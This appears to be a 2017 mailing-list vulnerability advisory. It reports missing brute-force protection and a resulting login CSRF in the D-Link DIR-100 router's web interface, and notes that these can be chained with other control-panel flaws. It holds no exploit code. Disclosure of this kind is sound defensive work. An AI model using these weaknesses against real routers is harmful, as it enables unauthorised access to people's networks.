Posted on 26 June 2017
Hello list! There are Brute Force and Cross-Site Request Forgery vulnerabilities in D-Link DIR-100. ------------------------- Affected products: ------------------------- Vulnerable is the next model: D-Link DIR-100, Firmware v1.01. All other versions also must be vulnerable. ---------- Details: ---------- Brute Force (WASC-11): http://site/public/login.htm No protection from BF attacks in login form. Cross-Site Request Forgery (WASC-09): Lack of protection against Brute Force (such as captcha) also leads to possibility of conducting of CSRF attacks, which I wrote about in the article Attacks on unprotected login forms (http://lists.webappsec.org/pipermail/websecurity_lists.webappsec.org/2011-April/007773.html). It allows to conduct remote login. Which will be in handy at conducting of attacks on different CSRF and XSS vulnerabilities in control panel.
